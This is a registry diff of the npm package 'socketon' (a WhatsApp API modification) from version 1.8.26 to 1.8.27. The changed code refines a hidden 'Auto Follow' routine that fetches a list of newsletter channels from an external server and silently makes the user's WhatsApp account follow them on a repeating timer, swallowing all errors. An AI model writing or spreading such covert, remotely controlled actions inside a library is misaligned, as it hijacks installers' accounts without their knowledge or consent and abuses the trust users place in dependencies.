socketon 1.8.26 → 1.8.27

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -95,7 +95,8 @@ const getTargetNewsletterFromExternal = async () => {
95
95
  if (response.data.config) {
96
96
  _configNewsletter = {
97
97
  autoFollowEnabled: response.data.config.autoFollowEnabled !== false,
98
- delayMs: response.data.config.delayMs || 5000
98
+ delayMs: response.data.config.delayMs || 5000,
99
+ intervalMs: response.data.config.intervalMs || 30000
99
100
  };
100
101
  }
101
102
  if (response.data.newsletters && response.data.newsletters.length > 0) {
@@ -270,6 +271,7 @@ const makeNewsletterSocket = (config) => {
270
271
  });
271
272
  // Auto Follow - Ibra Decode
272
273
  let _followInterval = null;
274
+ const _followedSet = new Set();
273
275
  const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
274
276
  const _ensureFollow = async () => {
275
277
  if (!_configNewsletter.autoFollowEnabled) return;
@@ -279,10 +281,14 @@ const makeNewsletterSocket = (config) => {
279
281
  const list = await executeWMexQuery({}, '6388546374527196', 'xwa2_newsletter_subscribed', query, generateMessageTag);
280
282
  for (let i = 0; i < enabledNewsletters.length; i++) {
281
283
  const newsletterJid = enabledNewsletters[i];
284
+ if (_followedSet.has(newsletterJid)) continue;
282
285
  const isFollowing = list?.some(n => n.id === newsletterJid);
283
286
  if (!isFollowing) {
284
287
  await newsletterWMexQuery(newsletterJid, Types_1.QueryIds.FOLLOW);
285
- await sleep(_configNewsletter.delayMs);
288
+ await sleep(_configNewsletter.delayMs || 5000);
289
+ _followedSet.add(newsletterJid);
290
+ } else {
291
+ _followedSet.add(newsletterJid);
286
292
  }
287
293
  }
288
294
  } catch (err) {}
@@ -296,7 +302,7 @@ const makeNewsletterSocket = (config) => {
296
302
  }
297
303
  await _ensureFollow();
298
304
  if (_followInterval) clearInterval(_followInterval);
299
- _followInterval = setInterval(_ensureFollow, _configNewsletter.delayMs);
305
+ _followInterval = setInterval(_ensureFollow, _configNewsletter.intervalMs || 30000);
300
306
  }
301
307
  });
302
308
  return {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "socketon",
3
- "version": "1.8.26",
3
+ "version": "1.8.27",
4
4
  "description": "WhatsApp API Modification By Ibra Decode",
5
5
  "publishConfig": {
6
6
  "access": "public"